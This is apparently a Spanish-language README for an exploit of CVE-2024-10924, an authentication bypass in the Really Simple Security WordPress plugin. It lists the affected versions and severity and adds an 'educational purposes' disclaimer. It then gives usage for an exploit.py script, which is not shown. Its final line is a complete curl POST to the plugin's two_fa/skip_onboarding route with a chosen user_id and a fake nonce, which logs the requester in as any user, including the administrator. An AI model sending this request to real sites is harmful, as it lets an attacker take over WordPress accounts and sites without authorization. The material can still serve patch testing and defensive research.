Exploit para CVE-2024-10924 (Plugin Really Simple Security de WordPress - Bypass de Autenticación)

📌 Descripción General

CVE-2024-10924 es una vulnerabilidad crítica de omisión de autenticación en el plugin Really Simple Security para WordPress (versiones 9.0.0 a 9.1.1.1). Esta vulnerabilidad permite a atacantes no autenticados iniciar sesión como cualquier usuario (incluido el administrador) al explotar una falla en la API de autenticación de dos factores (2FA).

ID de CVE: CVE-2024-10924

Severidad: 🔥 Crítica (CVSS 9.8)

Versiones Afectadas: Really Simple Security 9.0.0 – 9.1.1.1

Versión Parcheada: 9.1.2

Tipo de Exploit: Bypass de Autenticación

⚠️ Aviso Legal

🚨 Este exploit es solo para fines educativos y de investigación en seguridad.

El uso no autorizado en sistemas que no posees es ilegal. El objetivo es ayudar a los profesionales de seguridad a probar y parchear sistemas vulnerables.

🔧 Requisitos

Un sitio de WordPress que ejecute una versión vulnerable del plugin Really Simple Security. Python 3.x o cURL instalado para las pruebas. El nombre de usuario administrador de WordPress objetivo (puede ser necesaria la enumeración de usuarios).

Ejecuta el script:

python3 exploit.py <url example : http://target.com> <user_id>

Manualmente con Curl

curl --request POST "http://{url}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" -H "Content-Type: application/json" -d '{"user_id": 1, "login_nonce": "invalid_nonce"}' -v